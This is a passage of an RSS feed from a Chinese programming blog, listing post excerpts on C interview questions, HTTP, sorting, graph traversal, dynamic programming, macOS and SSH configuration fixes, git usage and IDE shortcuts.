      <description>C语言简答汇总 根据网上常见的一些面试题整理，用于考研复试备考，大部分是C语言问答，但不仅仅限于C语言问答，也包括计网和操作系统相关的一些问答，内容如有错误，欢迎指正&#xA;1、c语言的特点以及C语言与Python的比较？&#xA;c语言的数据类型丰富，具有现代语言的各种数据结构，能实现复杂的运算。c语言使，用灵活方便，便于实现程序的结构化，节省内存。&#xA;C语言与Python的比较：&#xA;（1）首先Python的使用要更加简单灵活，要实现相同的功能，Python的代码量通常只有C语言的30%&#xA;（2）C语言是面向过程的语言，很多时候需要自己手动实现函数来完成一些功能，Python中引入了类和对象，是面向对象编程的语言。&#xA;（3）Python拥有许多优秀的第三方库，在编程的时候更加的简单。&#xA;（4）c语言的数据类型丰富，Python的数据类型只有数字、字符串、列表、元组、集合、字典6种，不需要事先定义变量类型，使用更加简便。&#xA;2、c语言为什么要规定，对所有使用的变量要“先定义，后使用”？&#xA;凡是未被事先定义的变量，在使用过程中不会被当作变量名，这样能够保证程序中的变量名使用正确。每一个变量被指定一个确定的数据类型，在编译时就能为其分配相应的存储单元。指定一个变量属于一个类型，在编译的时候就能检查该变量是否使用正确。通俗来讲，给变量一个存储位置，方便操作。&#xA;3、根据自己的认识，写出c语言的特点&#xA;语言简洁，使用灵活方便，具有丰富的运算符和数据类型，便于实现程序的结构化，用c语言编写的程序可移植性好，c语言可以作为系统设计语言、应用程序设计语言，c语言具有绘图能力和强大的数据处理能力，它是数值计算的高级语言&#xA;4、c 语言的主要用途：&#xA;c语言主要用于程序的编程开发，和其他的高级语言相比，都采用符号形式，提供许多高级的程序结构，供编写人员组织复杂的程序。都是面向问题的语言，独立于具体的机器，比较接近人的语言习惯，能更有效的描述各种算法。c语言具有绘图能力和可移植性，有更强的数据处理能力，适用于编写系统软件、二维、三维图形和动画。&#xA;5、写出一个程序的组成&#xA;程序名、预编译指令、标准的输入输出、c语言的主函数、函数开始标志、定义变量、给变量赋值、输出结果、程序正常结束、函数结束标志&#xA;6、C 语言以函数为程序的基本单位，有什么好处？&#xA;函数是程序的基本组成单位，可以用函数作为程序模块来实现c语言程序。利用函数不仅可以使程序模块化，而且可以使程序设计的简单和直观，提高程序的可读性和可维护性。还可以把程序中的一些计算编成通用函数，以供随时使用。&#xA;7、关键字和一般标识符有什么不同？&#xA;标识符用来标识源程序中的某个对象的名字，一个标识符由字母、数字和下划线组成。关键字可以定义变量、表达式语句功能和对一些文件进行预处理，关键字已被编译系统本身使用，所以用户编写程序时不能够使用这些关键字来作为标识符，如int，if，for等。&#xA;8、if语句中的条件表达式可以是任意的合法表达式吗？Switch语句中break的作用是什么？&#xA;可以是任意数值。在switch语句中，break语句可使流程立即跳出switch语句体不执行其他的case。&#xA;9、三种循环结构中的条件是循环进行的条件还是循环结束的条件？循环结构中break语句和continue语句的作用是什么，二者有何区别？&#xA;for语句、while语句：循环进行的条件;do-while语句：循环结束的条件；break可用于switch语句，表示跳出整个switch块，而continue则不能用于switch语句，它们都可用于循环语句的循环体，break用于立即退出当前循环，而continue仅跳过当次循环，本次循环体内不执行continue语句后的其他语句，但下次循环还会执行。&#xA;10、字符数组与字符串是否相同？若不相同，有何区别？&#xA;不相同，C语言中没有专门的字符串变量，如果要将一个字符串存放在变量中，必须使用字符数组，即用一个字符型数组来存放一个字符串，数组中每一个元素放一个字符。字符串必须以’\0’结尾，字符数组可以包含多个’\0’&#xA;11、函数的嵌套调用与递归调用有什么区别？&#xA;函数嵌套允许在一个函数中调用另外一个函数，递归调用是调用本身的函数。函数嵌套就是函数调用函数，是普遍的，递归就是函数调用自身，是函数嵌套的一个特例。&#xA;12、结构体类型与我们前面学过的基本类型有哪些区别？&#xA;结构体是一个可以包含不同数据类型的一个结构，它是一种可以自己定义的数据类型。特点：1、结构体可以在一个结构体中声明不同的数据类型；2、相同的结构的结构体变量可以相互赋值，而数组不行，因为数组是单一数据类型的数据集合，它本身不是数据类型（而结构体是），数组名称是常量指针，所以不可以做为左值进行运算，所以数组之间就不能通过数组名称相互复制，即使数据类型和数组大小完全相同。3、节省内存空间。第四、高效率。&#xA;13、指针与地址有什么联系？在使用指针的过程中应注意哪些细节？指针类型对于程序设计有哪些意义？&#xA;指针保存了某个变量的地址，指针本身是一个变量，它也有自身的地址，而指针的内容是某个变量的地址。注意细节：要初始化、正确的传递地址方式、使用时要判断。指针可以用来有效地表示复杂的数据结构，可以用于函数参数传递并达到更加灵活使用函数的目的，使C语言程序设计具有灵活、实用、高效的特点。&#xA;14、描述一下gcc的编译过程？&#xA;gcc编译过程分为4个阶段：预处理、编译、汇编、链接。&#xA;预处理：头文件包含、宏替换、条件编译、删除注释&#xA;编译：主要进行词法、语句、语义分析等，检查无误后将预处理好的文件编译成汇编文件。&#xA;汇编：将汇编文件转换成二进制目标文件&#xA;链接：将项目中的各个二进制文件+所需的库+启动代码链接成可执行文件。&#xA;15、内存的最小存储单位以及内存的最小计量单位分别是？&#xA;内存的最小存储单位为二进制，内存的最小计量单位是字节&#xA;16、#include&amp;lt;&amp;gt;与#include””的区别？&#xA;Include&amp;lt;&amp;gt;到指定的目录找头文件，#Include””先到项目所在目录找头文件，如果没有找到再到系统指定的目录下寻找&#xA;17、描述一下变量的命名规则？&#xA;变量名必须以字母或者下划线开始，其后为字母数字下划线&#xA;18、变量的声明与定义有什么区别&#xA;声明变量 不需要建立存储空间，变量的定义需要建立存储空间。为变量分配地址和存储空间的称为定义，不分配地址的称为声明。一个变量可以在多个地方声明，但是只在一个地方定义。加入 extern 修饰的是变量的声明，说明此变量将在文件以外或在文件后面部分定义。说明：很多时候一个变量，只是声明不分配内存空间，直到具体使用时才初始化，分配内存空间，如外部变量。&#xA;19、谈谈c语言中有符号和无符号的区别？&#xA;有符号：数据的最高位为符号位，0表示正数，1表示负数&#xA;无符号：数据的最高位不是符号位，而是数据的一部分&#xA;20、谈谈计算机中补码的意义？&#xA;统一了零的编码；将符号位与其他位统一处理将减法运算转换成加法运算&#xA;21、谈谈数组的特点？&#xA;同一个数组所有的成员都是相同的数据类型，同时所有的成员在内存中的地址是连续的&#xA;22、数组的分类？&#xA;数组的分类主要是：静态数组、动态数组两类。&#xA;静态数组：类似int arr[5]；在程序运行就确定了数组的大小，运行过程不能更改数组的大小。&#xA;动态数组：主要是在堆区申请的空间，数组的大小是在程序运行过程中确定，可以更改的大小。&#xA;23、描述一下一维数组的不初始化、部分初始化、完全初始化的不同点&#xA;不初始化：如果是局部数组 数组元素的内容随机 如果是全局数组，数组的元素内容为0&#xA;部分初始化：未被初始化部分自动补0</description>
    </item>
    <item>
      <title>http协议详解(新手必看)</title>
      <link>https://bchobby.github.io/posts/d50794453df68bb729b24680ff3861d5/</link>
      <pubDate>Thu, 07 May 2020 01:12:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d50794453df68bb729b24680ff3861d5/</guid>
      <description>1.简介&#xA;http协议是Hyper Text Transfer Protocol（超文本传输协议）的缩写,是用于从万维网（WWW:World Wide Web ）服务器传输超文本到本地浏览器的传送协议。&#xA;http是一个基于TCP/IP通信协议来传递数据（HTML 文件, 图片文件, 查询结果等）。&#xA;http是一个属于应用层的面向对象的协议，由于其简捷、快速的方式，适用于分布式超媒体信息系统。&#xA;http协议工作于客户端-服务端架构为上。浏览器作为http客户端通过URL向http服务端即WEB服务器发送所有请求。Web服务器根据接收到的请求后，向客户端发送响应信息。&#xA;讲到http协议，我们首先简单了解什么是url&#xA;。&#xA;在浏览器输入URL，会经历以下过程：&#xA;①浏览器向 DNS 服务器请求解析该 URL 中的域名所对应的 IP 地址。&#xA;②解析出 IP 地址后，根据该 IP 地址和默认端口 80，和服务器建立TCP连接。&#xA;③浏览器发出读取文件(URL 中域名后面部分对应的文件)的HTTP 请求，该请求报文作为 TCP 三次握手的第三个报文的数据发送给服务器。&#xA;④服务器对浏览器请求作出响应，并把对应的 html 文本发送给浏览器。&#xA;⑤释放 TCP连接。&#xA;⑥浏览器将该 html 文本并显示内容&#xA;2.http协议特点&#xA;HTTP 协议一共有五大特点：1、支持客户/服务器模式；2、简单快速；3、灵活；4、无连接；5、无状态。(重点介绍无连接和无状态)&#xA;无连接&#xA;无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求，并收到客户的应答后，即断开连接。采用这种方式可以节省传输时间。&#xA;早期这么做的原因是 HTTP 协议产生于互联网，因此服务器需要处理同时面向全世界数十万、上百万客户端的网页访问，但每个客户端（即浏览器）与服务器之间交换数据的间歇性较大（即传输具有突发性、瞬时性），并且网页浏览的联想性、发散性导致两次传送的数据关联性很低，大部分通道实际上会很空闲、无端占用资源。因此 HTTP 的设计者有意利用这种特点将协议设计为请求时建连接、请求完释放连接，以尽快将资源释放出来服务其他客户端。&#xA;随着时间的推移，网页变得越来越复杂，里面可能嵌入了很多图片，这时候每次访问图片都需要建立一次 TCP 连接就显得很低效。后来，Keep-Alive 被提出用来解决这效率低的问题。&#xA;Keep-Alive 功能使客户端到服务器端的连接持续有效，当出现对服务器的后继请求时，Keep-Alive 功能避免了建立或者重新建立连接。市场上的大部分 Web 服务器，包括 iPlanet、IIS 和 Apache，都支持 HTTP Keep-Alive。对于提供静态内容的网站来说，这个功能通常很有用。但是，对于负担较重的网站来说，这里存在另外一个问题：虽然为客户保留打开的连接有一定的好处，但它同样影响了性能，因为在处理暂停期间，本来可以释放的资源仍旧被占用。当Web服务器和应用服务器在同一台机器上运行时，Keep-Alive 功能对资源利用的影响尤其突出。&#xA;协议规定HTTP/1.0如果想要保持长连接，需要在请求头中加上Connection: keep-alive，而HTTP/1.</description>
    </item>
    <item>
      <title>C语言排序函数—qsort函数</title>
      <link>https://bchobby.github.io/posts/ca1635fc498a849f61d135c7d8d6b180/</link>
      <pubDate>Wed, 06 May 2020 18:51:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca1635fc498a849f61d135c7d8d6b180/</guid>
      <description>前言： 在一些编程题中经常需要你按照某个指标按照从小到大或从大到小输出一些数据，这时你可以自己写一个排序函数进行排序，但是其实C语言函数库中就有一个排序函数——qsort函数，使用它可以节省你单独写排序函数所耗费的时间，因而在一些比赛中广泛应用。&#xA;qsort函数介绍： 定义于头文件 &amp;lt;stdlib.h&amp;gt;&#xA;void qsort( void *ptr, size_t count, size_t size,int (*comp)(const void *, const void *) ); 对 ptr 所指向的数组以升序排序。数组包含 count 个长度为 size 字节的元素。用 comp 所指向的函数比较对象。同 (1) ，除了传递给 comp 附加环境参数 context ，还会在运行时检测下列错误，并调用当前安装的制约处理函数：&#xA;count 或 size 大于 RSIZE_MAX&#xA;key 、 ptr 或 comp 是空指针（除非 count 为零）&#xA;同所有边界检查函数， qsort_s 仅若实现定义了 STDC_LIB_EXT1 ，且用户在包含 stdlib.h 前定义 STDC_WANT_LIB_EXT1 为整数常量 1 才保证可用。&#xA;若 comp 指示两元素相等，则它们排序后的结果是未指定的。 参数 ptr - 指向待排序的数组的指针&#xA;count - 数组的元素数目</description>
    </item>
    <item>
      <title>图（2）图的深度优先和广度优先遍历算法及求简单路径和最短路径</title>
      <link>https://bchobby.github.io/posts/70085882d539b17fc9f1987a48790538/</link>
      <pubDate>Wed, 06 May 2020 16:40:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70085882d539b17fc9f1987a48790538/</guid>
      <description>1. 图的遍历 定义：从给定图中任意指定的顶点出发，按照某种搜索方法沿着图的边访问图中的所有顶点，使每个顶点仅被访问一次。&#xA;图的遍历得到的顶点序列称为图的遍历序列。&#xA;图的遍历方式有两种：深度优先遍历（DFS）和广度优先遍历（BFS）。&#xA;深度优先遍历算法 过程：&#xA;（1）从图中某个初始顶点 v v v出发，首先访问初始顶点 v v v；&#xA;（2）选择一个与顶点 v v v相邻且没被访问过的顶点 w w w，再从 w w w出发进行深度优先搜索，直到图中与当前顶点 v v v邻接的所有顶点都被访问过为止。&#xA;算法设计思路：&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; #define MaxV 100 typedef char VertexType; typedef int InfoType; int visited[MaxV] = {0}; //图的邻接表存储类型定义 struct ArcNode{//边节点类型 int adjvex;//边的终点编号 ArcNode* nextarc;//指向下一条边的指针 InfoType info;//边的信息，如：权 }; struct VNode{//头节点类型 VertexType data;//顶点信息 ArcNode* firstarc;//指向第一条边 }; struct ALGraph{//图邻接表类型 VNode adjlist[MaxV];//邻接表 int n,e;//顶点数和边数 }; //建立图的邻接表 void CreateAdjListGraph(ALGraph &amp;amp;G) { ArcNode *e; cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>LeetCode 例题精讲 | 15 最长公共子序列：二维动态规划的解法</title>
      <link>https://bchobby.github.io/posts/4b8d042a67678f3832fea470d8e59f11/</link>
      <pubDate>Wed, 06 May 2020 12:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b8d042a67678f3832fea470d8e59f11/</guid>
      <description>点击关注上方“五分钟学算法”，&#xA;设为“置顶或星标”，第一时间送达干货。&#xA;转自面向大象编程&#xA;本期例题：LeetCode 1143. Longest Common Subsequence 最长公共子序列（Medium）&#xA;给定两个字符串 s 和 t，返回这两个字符串的最长公共子序列的长度。若这两个字符串没有公共子序列，则返回 0。&#xA;一个字符串的子序列是指这样一个新的字符串：它是由原字符串在不改变字符的相对顺序的情况下删除某些字符（也可以不删除任何字符）后组成的新字符串。例如，&#34;ace&#34; 是 &#34;abcde&#34; 的子序列。&#xA;在上一篇文章中，我们以打家劫舍（House Robber）问题为例讲解了动态规划问题的一般解题步骤。不过，打家劫舍问题是一维动态规划问题，而还有很多题目属于二维动态规划。今天我们就以一道经典的「最长公共子序列」问题讲解二维动态规划的解法。&#xA;最长公共子序列问题经典到什么程度呢？经典到有自己的专用缩写 —— LCS (Longest Common Subsequence)。如果你在别的地方看到 LCS 的缩写，要能够知道这是最长公共子序列的问题。&#xA;如果说打家劫舍问题是动态规划的最佳入门题，那么 LCS 问题就是二维动态规划的最佳入门题，问题经典，方法典型。本文会在一步步求解 LCS 问题的过程中，讲解二维动态规划问题的解题要领。&#xA;本文假设你已经了解了打家劫舍问题的解法以及动态规划问题的基本解题步骤。对此不是很清楚的同学可以回顾一下上一篇文章：&#xA;LeetCode 例题精讲 | 14 打家劫舍问题：动态规划的解题四步骤&#xA;一维与二维动态规划 首先我们要清楚一维动态规划与二维动态规划的含义。对于打家劫舍问题，我们定义 为偷前 间房子的最大金额。这里子问题只有一个参数 ，因此是一维动态规划问题，参数只会在一个维度上变化。而如果子问题有两个参数，则为二维动态规划问题，参数会在两个维度上变化。&#xA;为什么要区分子问题的维度呢？这是因为子问题的维度会直接影响 DP 数组的维度。二维的 DP 数组不仅空间复杂度变大，DP 数组的计算顺序也更复杂。&#xA;一般来说，绝大多数动态规划问题的维度不会超过二维。必须使用三维以上子问题的题目属于难题，不需要掌握。&#xA;使用四步骤解题 在上一篇文章中，我们讲解了动态规划题目的的四个基本解题步骤：&#xA;定义子问题&#xA;写出子问题的递推关系&#xA;确定 DP 数组的计算顺序&#xA;空间优化（可选）&#xA;二维动态规划问题同样遵循这四个解题步骤，不过每个步骤可能会更复杂。下面我们使用四步骤方法一步步解决 LCS 问题。&#xA;步骤一：定义子问题 要定义子问题，我们还是抓住这样一个子问题的基本性质：子问题是和原问题相似，但规模较小的问题。&#xA;对于 LCS 问题，原问题是「s 和 t 的最长公共子序列」。那么子问题可以缩小字符串 s 或者 t 的规模，变成「s 的前 个字符（s[0.</description>
    </item>
    <item>
      <title>week11-三角形的仿射变换</title>
      <link>https://bchobby.github.io/posts/b2ccd90f336786b36f898cd7fba8128a/</link>
      <pubDate>Wed, 06 May 2020 11:42:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2ccd90f336786b36f898cd7fba8128a/</guid>
      <description>在计算机图形学中，人们一直都在处理变形的三角形，因为任何3D表面都可以由三角形近似。图像可以分解为三角形并变形。但是，在OpenCV中，没有封装好的方法可以将三角形内的像素变换到另一个三角形内的像素。&#xA;仿射变换 仿射变换是一组3个点（即三角形）来转换到另一组的任意3个点的最简单的方法。&#xA;下图说明了仿射变换如何用于更改正方形的形状。请注意，使用仿射变换可以将正方形的形状更改为任何方向和比例的平行四边形。但是，仿射变换的灵活性不足以将正方形变换为任意四边形。&#xA;换句话说，在进行仿射变换之后，平行线继续平行。&#xA;opencv封装了仿射变换用的函数：https://www.cnblogs.com/nipan/p/4174271.html&#xA;代码效果：&#xA;import cv2 import numpy as np # Warps and alpha blends triangular regions from img1 and img2 to img def warpTriangle(img1, img2, tri1, tri2) : # Find bounding rectangle for each triangle计算边界框 r1 = cv2.boundingRect(tri1) r2 = cv2.boundingRect(tri2) # Offset points by left top corner of the respective rectangles裁剪图像并更改坐标 tri1Cropped = [] tri2Cropped = [] for i in range(0, 3): tri1Cropped.append(((tri1[0][i][0] - r1[0]),(tri1[0][i][1] - r1[1]))) tri2Cropped.</description>
    </item>
    <item>
      <title>MACOS Dock栏自动显示和隐藏取消延迟</title>
      <link>https://bchobby.github.io/posts/3cf83bbf5ba68a486d677cf9c7df71bb/</link>
      <pubDate>Wed, 06 May 2020 11:21:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cf83bbf5ba68a486d677cf9c7df71bb/</guid>
      <description> 使用OS X的时候都会选择将Dock隐藏（可以在系统偏好设置—Dock中选择），等使用时将光标向下划Dock会自动弹出显示。这个显示或隐藏会有一点点（大概1秒左右）的延迟，使用下面的方法可以消除这个延迟：&#xA;打开 应用程序——实用工具——终端&#xA;输入代码：&#xA;defaults write com.apple.Dock autohide-delay -float 0 &amp;amp;&amp;amp; killall Dock 当Dock再次隐藏或显示时会立即执行&#xA;如想恢复默认的延迟速度，在终端输入以下代码即可&#xA;defaults delete com.apple.Dock autohide-delay &amp;amp;&amp;amp; killall Dock </description>
    </item>
    <item>
      <title>Mac使用Microsoft-Remote-Desktop-for-Mac远程桌面Windows</title>
      <link>https://bchobby.github.io/posts/5279464bdaad5c9a77473b2ebf4c065c/</link>
      <pubDate>Tue, 05 May 2020 17:09:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5279464bdaad5c9a77473b2ebf4c065c/</guid>
      <description>假如你有两台电脑甚至更多电脑用来工作、学习，当你从一台电脑换到另一台电脑上的时候，你需要移开当前视线，当前键盘、鼠标，甚至是换个椅子等，这样的操作来切换工作，这样来来回回非常的麻烦。所以就有两台以及多台电脑共享一套键盘鼠标的操作，切换的时候，你只需要眼睛看向另一屏幕即可，继续在当前鼠标、键盘上操作。&#xA;然而，现在你连视线也懒得移动，但同时也要满足你在当前屏幕使用另一电脑的操作，此时远程桌面就可以派上用场了，像远程桌面控制软件一般有 TeamViewer、向日葵远程桌面等这些，由于现在我们场景是在同一局域网下比如两台电脑连接的是同一个路由器 Wi-Fi 所以使用 Microsoft-Remote-Desktop 还是比较顺畅的。&#xA;今天我们讨论的是，如何在 Mac 上远程连接 Windows 桌面。当前我使用的两台电脑版本是Windows：win10 专业版 1903，Mac：MacbookAir 10.15.3&#xA;安装 Microsoft-Remote-Desktop-For-Mac 在 Mac AppStore 搜索 Microsoft Remote Desk 选择 Microsoft Remote Desk 10 安装，查看版本是 10.3.9(1767)版本，我使用的是中国区的 APPLE ID这里可以直接下载 Microsoft-Remote-Desktop-For-Mac 最新版本，我在这里下载是 10.4.0 (1774) Beta 版本 两个版本都可以使用。&#xA;连接 Windows 首先在 Windows 上需要开启远程桌面连接，允许远程连接到此计算机。如图，打开此电脑—远程设置—选择允许远程连接到此计算机。可能会提示电源选项，先确定应用一会儿再去设置。&#xA;此时我们在 Mac 上打开我们刚才下载的 Microsoft-Remote-Desktop-For-Mac 点击 add PC 填上 Windows 电脑的是 IP地址，我这里是 192.168.188.221 你可以打开控制面板—网络和 Internet —网络和共享中心— WLAN —详细信息— ipv4 地址，或者 win键+r 输入 ipconfig 回车即可看到当前 IPv4 地址。</description>
    </item>
    <item>
      <title>离散数学之数理逻辑——第2章 命题逻辑等值演算</title>
      <link>https://bchobby.github.io/posts/b4f4f99b73bf36194a108e57cd1f3952/</link>
      <pubDate>Tue, 05 May 2020 16:08:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4f4f99b73bf36194a108e57cd1f3952/</guid>
      <description>1. 等值式 定义2.1&#xA;设A,B是两个命题公式，若A，B构成的等价式 A ↔ B A\leftrightarrow B A↔B为重言式，则称A与B是等值的，记作 A ⇔ B A\Leftrightarrow B A⇔B.&#xA;⇔ \Leftrightarrow ⇔不是连接符，它是用来说明A与B等值的一种记法，因而它是元语言符号。&#xA;本书给出16组重要的等值式，应牢牢记住：&#xA;上述16组等值式共包含了24个重要等值式。这样的等值式称为等值式模式，具体的等值式被称为原来等值式模式的待入实例&#xA;我们称由已知的等值式推演出另外一些等值式的过程为等值演算，等值演算是布尔代数或逻辑代数的重要组成部分。在等值演算过程中，要不断地使用一条重要的规则，它的内容如下：&#xA;置换规则&#xA;设 ϕ ( A ) \phi(A) ϕ(A)是含公式 A A A的命题公式， ϕ ( B ) \phi(B) ϕ(B)是用公式 B B B置换了 ϕ ( A ) \phi(A) ϕ(A)中所有的A后得到的命题公式，若 B ⇔ A B\Leftrightarrow A B⇔A,则 ϕ ( B ) ⇔ ϕ ( A ) \phi(B)\Leftrightarrow \phi(A) ϕ(B)⇔ϕ(A).&#xA;2. 析取范式与合取范式 定义2.2</description>
    </item>
    <item>
      <title>idea中gitignore文件作用、修改gitignore文件忽略指定文件的提交</title>
      <link>https://bchobby.github.io/posts/b3da23c176f85554e1d49ee99684d1e3/</link>
      <pubDate>Tue, 05 May 2020 12:26:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3da23c176f85554e1d49ee99684d1e3/</guid>
      <description> 如图：箭头所指的地方为红色则，还未被忽略&#xA;接下来在gitignore文件中添加忽略规则后，保存，可以看到文件颜色已改变&#xA;提交代码时可以看到，已经不再显示该文件&#xA;如果文件已经被提交过，后续想要忽略也是一样的&#xA;ps:图中test.iml文件已经提交过了，而且目前内容还没被修改,所以添加绿框中的规则，文件test.iml也不会改变颜色，可以修改文件内容后再添加绿框中的规则（记得保存），就能发现文件名变色了，下次提交代码就被忽略了，注意每次修改后需要手动保存，才能生效，另一个是.gitignore文件要提交到远程仓库 </description>
    </item>
    <item>
      <title>【小白教程】Java POI的下载及导入</title>
      <link>https://bchobby.github.io/posts/77fe85e130fe435346101793310edc64/</link>
      <pubDate>Tue, 05 May 2020 12:01:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77fe85e130fe435346101793310edc64/</guid>
      <description>Java POI的下载及导入 本人做IT对日外包的，所有的框架都是别人搭好的，自己就是往里面填东西，所以有些特别基本的东西都不会，&#xA;最近接到一个日本的Java项目，里面有一模块儿就是涉及Excel读取和写入的，想先回家试试，结果发现自己连导POI的包都不会。&#xA;在查阅相关资料后，终于弄明白大概怎么弄了，送给像我一样的小白们。如有不正，望各位大神指点。&#xA;官网下载最新的POI 官网链接：http://poi.apache.org/download.html&#xA;具体步骤如下：&#xA;最新版POI下载（poi4.1以上需要jdk1.8以上版本支持！）&#xA;下载完解压。&#xA;打开Eclipse导入jar包。&#xA;选择工程右键&#xA;把文件夹和外面的jar包都选中添加&#xA;以上都可以引用了&#xA;最后，不怕小白就怕不努力的小白</description>
    </item>
    <item>
      <title>idea新建项目上传到git仓库</title>
      <link>https://bchobby.github.io/posts/8224b01b72057edc1a27908590ae7a8e/</link>
      <pubDate>Tue, 05 May 2020 11:31:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8224b01b72057edc1a27908590ae7a8e/</guid>
      <description>在gitHub上创建一个仓库​​&#xA;​​​​创建后复制好clone连接&#xA;注意上图，仓库中已经有一个证书协议文件了，因此在提交新建项目的时候会被拒绝，没关系继续往下看。回到IDEA中创建git仓库（VCS -&amp;gt; Import into Version Control -&amp;gt; Create Git Repository…），一般我们项目仓库创建在项目文件根目录下，如图&#xA;创建成功后，项目中文文件会变成红色（红色代表文件没有add到本地git仓库）在add到本地仓库之前，先修改好.gitignore文件（.gitignore文件用法），配置好哪些文件需要提交，哪些文件不需要提交commit项目文件到本地仓库（使用快捷键ctrl+k，弹出框后选择要提交的文件，然后点击commit,会再弹出一个框，不用管，之间点击commit）提交到远程仓库（使用快捷键ctrl+shift+k提交代码到远程仓库）&#xA;push后会发现，失败，因为上面有提到过，远程仓库中已经存在一个文件了，再提交就出现冲突，如图：&#xA;解决方法有两种： （1）push代码前先删除远程仓库的所有的文件 （2）先从远程仓库clone项目下来然后再在项目中添加文件 （3）最推荐的一种方法： 击IDEA工具底部terminal 输入下面的指令 git pull origin master --allow-unrelated-histories 可能会要求输入账号密码，输入即可。指令的意思是，允许更新不相关的历史记录，也就是将远程仓库的文件更新过来了，此时便可push到远程了。如果失败，可以依次尝试下面的指令： git pull git pull origin master git pull origin master --allow-unrelated-histories 看到line13这句话，表示项目已经更新 D:\javaProject\TestPushGit2&amp;gt;git pull origin master --allow-unrelated-histories warning: no common commits remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Compressing objects: 100% (2/2), done. remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 Unpacking objects: 100% (3/3), done.</description>
    </item>
    <item>
      <title>SSH&#34;connection reset by ip_address port 22&#34;问题解决</title>
      <link>https://bchobby.github.io/posts/617cbc110740d38890e22c0936dd09fa/</link>
      <pubDate>Tue, 05 May 2020 10:14:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/617cbc110740d38890e22c0936dd09fa/</guid>
      <description> 前提是安装好了openssh，但是客户端无法连接，出现了&#xA;connection reset by (server_ip_address) port 22&#xA;可以试试重置ssh的配置。我是通过这个直接解决的，网上的教程很多都不行，就这个可以直接解决，我查看了log文件，说我是缺少了.key文件&#xA;重置一下重新创建key文件就能解决&#xA;rm /etc/ssh/ssh_host_* sudo dpkg-reconfigure openssh-server </description>
    </item>
    <item>
      <title>angularjs-解析分组的json</title>
      <link>https://bchobby.github.io/posts/f495d18f0fc7e8ee6cadf30a8c88f55f/</link>
      <pubDate>Mon, 04 May 2020 23:04:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f495d18f0fc7e8ee6cadf30a8c88f55f/</guid>
      <description>I have this JSON structure:&#xA;{&#xA;“2014”: [&#xA;“2014-01”,&#xA;“2014-02”,&#xA;“2014-03”,&#xA;…&#xA;],&#xA;“2015”: [&#xA;“2015-01”,&#xA;“2015-02”,&#xA;“2015-03”,&#xA;…&#xA;]&#xA;}&#xA;… and a need parse that JSON to an HTML structure like this, with or without Jquery.&#xA;Thank you!&#xA;UPDATE: I updated the JSON&#xA;收起翻译&#xA;译文&#xA;我有这个JSON结构：&amp;lt;/ p&amp;gt;&#xA;{&#xA;“ 2014”：[&#xA;“ 2014-01”，&#xA;“ 2014-02”，&#xA;“ 2014-03”，&#xA;…&#xA;]，&#xA;“ 2015”：[&#xA;“ 2015-01”，&#xA;“ 2015-02”，&#xA;“ 2015-03”，&#xA;…</description>
    </item>
    <item>
      <title>idea快捷键使用</title>
      <link>https://bchobby.github.io/posts/d3135164eea837beed933f4d792fb854/</link>
      <pubDate>Mon, 04 May 2020 20:32:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3135164eea837beed933f4d792fb854/</guid>
      <description>整理了这篇文章，开发效率提升了30%。&#xA;psvm+Tab键：快速输出main方法&#xA;效果&#xA;public static void main(String[] args) { } sout+Tab键：快速输出System.out.println();&#xA;对象.sout+Tab键&#xA;&#34;狗哥&#34;.sout + Tab键 -&amp;gt; System.out.println(&#34;狗哥&#34;); 任意对象.var+Tab键：快速声明对象&#xA;&#34;&#34;.var+Tab键 -&amp;gt; String s = &#34;&#34;; new Object().var+Tab键 -&amp;gt; Object o = new Object(); 任意布尔表达式.if+Tab键：快速输出if块&#xA;object1.equals(object2).if+Tab键 效果&#xA;if (object1.equals(object2)) { } 任意布尔表达式.while+Tab键：快速输出while块&#xA;object1.equals(object2).while+Tab键 效果&#xA;while (object1.equals(object2)) { } fori+Tab键：快速输出for代码块&#xA;for (int i = 0; i &amp;lt; ; i++) { } Ctrl+Alter+T：代码包裹，很牛逼的功能&#xA;比如我们相对一段代码执行下面操作：&#xA;使用 if 包裹&#xA;使用 if / else 包裹&#xA;使用 while 包裹</description>
    </item>
    <item>
      <title>项目人力资源管理之编制项目人力资源管理计划</title>
      <link>https://bchobby.github.io/posts/af7f59edb4b005ddc4471f7d8ea675a2/</link>
      <pubDate>Mon, 04 May 2020 11:01:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af7f59edb4b005ddc4471f7d8ea675a2/</guid>
      <description>一、概念及定义 通过编制项目人力资源管理计划，确定项目的角色、职责以及汇报关系，并编制人员配备管理计划。任务、职责和回报关系可以分配到个人或团队。这些个人和团队可能属于组织内，也可能属于组织外部，或者两者的结合。内部团队通常与专职部门如工程部、市场部、或会计 部等有联系。&#xA;在大多数项目中，编制项目人力资源管理计划过程主要作为项目最初阶段的一部分。但是，这一过程的结果应当在项目的整个生命周期中进行经常性的复查，以保证它的持续实用性。如果最初的项目人力资源管理计划不再生效，就应当立即修正。&#xA;在编制项目人力资源管理计划时，要注意到与项目成本、进度、风险、质量及其他因素间的相互影响，同时也应注意到其他项目对同类人员的争夺，所以项目要有备选人员。&#xA;二、编制项目人力资源管理计划的工具和技术 组织理论 描述了如何招募合适的人员、如何构建组织以及构建什么样的组织。项目管理团队应该熟悉这些组织 理论以快速的明确项目职责和回报关系。下面就是用于描述组织的几种有效工具&#xA;1.组织结构图和职位描述&#xA;可使用多种形式描述项目的角色和职责，最常用的有三种：层次结构图、责任分配矩阵 和文本格式。除此之外，还有一些分计划（如风险、质量和沟通计划）中也可以列出某些项目的工作分配。无论 采用何种形式，都要确保每一个工作包有一个明确的责任人 